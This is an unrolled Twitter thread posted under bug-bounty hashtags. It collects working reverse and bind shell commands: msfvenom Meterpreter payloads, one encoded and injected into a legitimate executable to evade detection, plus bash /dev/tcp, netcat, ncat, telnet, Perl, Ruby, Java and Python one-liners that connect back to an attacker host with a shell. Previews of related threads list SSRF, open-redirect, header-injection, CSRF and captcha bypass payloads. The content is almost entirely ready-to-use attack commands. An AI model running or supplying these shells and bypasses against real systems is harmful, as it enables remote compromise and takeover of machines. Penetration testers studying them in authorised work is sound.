Abhishek Meena Profile picture
Nov 1 16 tweets 13 min read
Reverse-shells🔥🌵 #bugbounty #infosec

This is s great collection of different types of reverse shells and webshells. Many of the ones listed below comes from this cheat-sheet: #bugbountytips

See🧵(1/n) :👇🏻
🏹For Windows : #bugbounty #infosec

➡Meterpreter #Reverse_shells

▪msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.101 LPORT=445 -f exe -o shell_reverse.exe

▪use exploit/multi/handler &
set payload windows/meterpreter/reverse_tcp
➡Meterpreter HTTPS #bugbounty #infosec

It is hidden in https the communication is encrypted and can be used to bypass deep-packet inspections.

▪msfvenom -p windows/meterpreter/reverse_https LHOST=192.168.0.101 LPORT=443 -f exe -o met_https_reverse.exe
➡Non-staged payload #bugbounty

▪ msfvenom -p windows/shell/reverse_tcp LHOST=196.168.0.101 LPORT=445 -f exe -o staged_reverse_tcp.exe

This must be caught with metasploit. It does not work with netcat.

▪use exploit/multi/handler &
set payload windows/shell/reverse_tcp
➡Staged payload #bugbounty #infosec

▪msfvenom -p windows/shell/reverse_tcp LHOST=196.168.0.101 LPORT=445 -f exe -o staged_reverse_tcp.exe

This must be caught with metasploit. It does not work with netcat

▪use exploit/multi/handler &
set payload windows/shell/reverse_tcp
➡Inject payload into binary #bugbounty #infosec

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.101 LPORT=445 -f exe -e x86/shikata_ga_nai -i 9 -x "/somebinary.exe" -o bad_binary.exe
🏹Linux #bugbounty #infosec #Reverse_shells

➡Binary

▪msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.101 LPORT=443 -f elf > shell.elf

➡Bash

▪0<&196;exec 196<>/dev/tcp/192.168.1.101/80; sh <&196 >&196 2>&196

▪bash -i >& /dev/tcp/10.0.0.1/8080 0>&1
➡Php #bugbounty #infosec #Reverse_shells

php -r '$sock=fsockopen("ATTACKING-IP",80);exec("/bin/sh -i <&3 >&3 2>&3");'

🏹Netcat

➡Bind shell

#Linux
nc -vlp 5555 -e /bin/bash
nc 192.168.1.101 5555

# Windows
nc.exe -nlvp 4444 -e cmd.exe
➡Reverse shell #bugbounty #infosec #Reverse_shells

# Linux
nc -lvp 5555
nc 192.168.1.101 5555 -e /bin/bash

# Windows
nc -lvp 443
nc.exe 192.168.1.101 443 -e cmd.exe

➡With -e flag

▪nc -e /bin/sh ATTACKING-IP 80
▪/bin/sh | nc ATTACKING-IP 80
➡Without -e flag #bugbounty

▪rm -f /tmp/p; mknod /tmp/p p && nc ATTACKING-IP 4444 0/tmp/p

🏹Ncat

Ncat is a better and more modern version of netcat. It has encryption

➡Bind

▪ncat --exec cmd.exe --allow 192.168.1.101 -vnl 5555 --ssl
▪ncat -v 192.168.1.103 5555 --ssl
🏹Telnet #bugbounty #infosec #Reverse_shells

➡rm -f /tmp/p; mknod /tmp/p p && telnet ATTACKING-IP 80 0/tmp/p

➡telnet ATTACKING-IP 80 | /bin/bash | telnet ATTACKING-IP 443
🏹Perl #bugbounty #infosec #Reverse_shells


perl -e 'use Socket;$i="ATTACKING-IP";$p=80;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
🏹Ruby #bugbounty #infosec #Reverse_shells


ruby -rsocket -e'f=TCPSocket.open("ATTACKING-IP",80).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
🏹Java #bugbounty #infosec #Reverse_shells


r = Runtime.getRuntime()

p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/ATTACKING-IP/80;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])

p.waitFor()
🏹Python #bugbounty


python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("ATTACKING-IP",80));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
Hope you like this 😀

Check out #bugbounty telegram group for :

➡Best Tips for Bug Bounty
➡Good And Informative Articles From Infosec Community
➡One-liners Command
➡Infosec Resources
➡ebooks - Paid ?😎
➡And Many More

Link : t.me/bugbountyresou…

• • •

Missing some Tweet in this thread? You can try to force a refresh
 

Keep Current with Abhishek Meena

Abhishek Meena Profile picture

Stay in touch and get notified when new unrolls are available from this author!

Read all threads

This Thread may be Removed Anytime!

PDF

Twitter may remove this content at anytime! Save it as PDF for later use!

Try unrolling a thread yourself!

how to unroll video
  1. Follow @ThreadReaderApp to mention us!

  2. From a Twitter thread mention us with a keyword "unroll"
@threadreaderapp unroll

Practice here first or read more on our help page!

More from @Aacle_

Nov 2
🌱🔥🌵 SMB Enumeration 🌵🔥🌱
#SMB #bugbounty #infosec

Check out 🧵(1/n) :👇 Image
🏹SMB OS Discovery #bugbounty
▪nmap $ip --script smb-os-discovery.nse

🏹Nmap port scan #infosec
▪nmap -v -p 139,445 -oG smb.txt $ip-254

🏹Netbios Information Scanning #SMB
▪nbtscan -r $ip/24

🏹Nmap find exposed Netbios servers
▪nmap -sU --script nbstat.nse -p 137 $ip
🏹SMB Enumeration Tools
#SMB #bugbounty #infosec

▪nmblookup -A $ip
▪smbclient //MOUNT/share -I $ip -N
▪rpcclient -U "" $ip
▪enum4linux $ip
▪enum4linux -a $ip
Read 9 tweets
Nov 2
Header Injection 🌵🌱 #bugbounty
#infosec #bugbountytips

🧵(1/n) :👇🏻 Header Injection
🏹 Add something like 127.0.0.1, localhost, 192.168.1.2, target.com or /admin, /console

Client-IP:
Connection:
Contact:
Forwarded:
From:
Host:
Origin:
Referer:
True-Client-IP:
X-Client-IP:
X-Custom-IP-Authorization:
X-Forward-For:
X-Forwarded-For:
X-Forwarded-Host:
X-Forwarded-Server:
X-Host:
X-Original-URL:
X-Originating-IP:
X-Real-IP:
X-Remote-Addr:
X-Remote-IP:
X-Rewrite-URL:
X-Wap-Profile:

🏹Try to repeat same Host header 2 times
Host: legit.com
Stuff: stuff
Host: evil.com

#bugbounty #infosec
Read 12 tweets
Oct 31
Server Side Request Forgery(SSRF)
#bugbounty #infosec

🧵: (1/n) ⬇⬇⬇
🏹Use Different Encoding Schemes of https://127.O.O.1

➡Hex Encoding https://Ox7f.OxO.OxO.Ox1
➡Octal Encoding https://0177.O.O.01
➡Dword Encoding https://2130706433
➡URL Encoding ➡https://%6c%6f%63%61%6c%68%6f%73%74
➡Mixed Encoding https://0177.O.O.Ox1

🧵: (2/n) :👇
🏹Use The Whole IP Range For Testing SSRF
(198.0.0.1-255) #bugbounty
. . .
🏹Obfuscate Strings In URL Encode or Case Transformation (Blocked Words Bypass)

🏹Use Registered Domain Names That Resolves To 127.0.0.1

🏹Embed Credentials : https://attacker@victim.com

🧵: (3/n) :👇
Read 6 tweets
Oct 31
Open Redirection 🔥 #bugbounty

Arises when Application incorporates user-controllable data into target of a redirection in an unsafe way.

▪ Where to find
➡Sometimes it can be found in login / register / logout pages
➡Checking the javascript source code

How to exploit 👇
🏹Change the domain
/?redir=evil.com

🏹Using a whitelisted domain or keyword
/?redir=target.com.evil.com

🏹Using // to bypass http blacklisted keyword
/?redir=//evil.com

🏹Using https: to bypass // blacklisted keyword
/?redir=https:evil.com
🏹Using \\ to bypass // blacklisted keyword
/?redir=\\evil.com

🏹Using \/\/ to bypass // blacklisted keyword
/?redir=\/\/evil.com/
/?redir=/\/evil.com/

🏹Using %E3%80%82 to bypass . blacklisted character
/?redir=evil。com
/?redir=evil%E3%80%82com

#bugbountytips
Read 9 tweets
Oct 31
Bypass CSRF🔥#bugbountytips

➡Change single character
➡Sending empty value of token
➡Replace the token with same length
➡Changing POST / GET method
➡Remove the token from request
➡Use another user's valid token
➡Try to decrypt hash

#bugbounty #infosec

More in Detail :👇
▪ Change single character of Parameter token #bugbounty #CSRF
. . .

POST /register HTTP/1.1
Host: target.com
...

username=dapos&password=123456&token=aaaaaaaaaa

To

username=dapos&password=123456&token=aaaaaaaaab
▪ Sending empty value of token #bugbounty #bugboutnytips #CSRF
. . .

POST /register HTTP/1.1
Host: target.com
...

username=dapos&password=123456&token=aaaaaaaaaa

To

username=dapos&password=123456&token=
Read 10 tweets
Oct 30
🔥Bypass Captcha🤗(Google reCAPTCHA) #bugbounty

➡Try changing the request method, for example POST to GET
➡Try remove the value of the captcha parameter
➡Try reuse old captcha token
➡Convert JSON data to normal request parameter

#bugbountytips #infosec

More in Detail :👇🏻
🏹Try changing the request method, for example POST to GET #bugbounty #bugbountytips
. . .
POST / HTTP 1.1
Host: target.com

_RequestVerificationToken=xxxxxxxxxxxxxx&_Username=yyyyyy&_Password=zzzzzzzz
. . .

Bypass by Changing the POST method to GET
🏹Try remove the value of the captcha parameter
. . . #bugbounty #infosec

POST / HTTP 1.1
Host: target.com

_RequestVerificationToken=&_Username=daffa&_Password=test123

Bypass by removing value of captcha
Read 8 tweets

Did Thread Reader help you today?

Support us! We are indie developers!


This site is made by just two indie developers on a laptop doing marketing, support and development! Read more about the story.

Become a Premium Member ($3/month or $30/year) and get exclusive features!

Become Premium

Don't want to be a Premium member but still want to support us?

Make a small donation by buying us coffee ($5) or help with server cost ($10)

Donate via Paypal

Or Donate anonymously using crypto!

Ethereum

0xfe58350B80634f60Fa6Dc149a72b4DFbc17D341E copy

Bitcoin

3ATGMxNzCUFzxpMCHL5sWSt4DVtS8UqXpi copy

Thank you for your support!

Follow Us on Twitter!

:(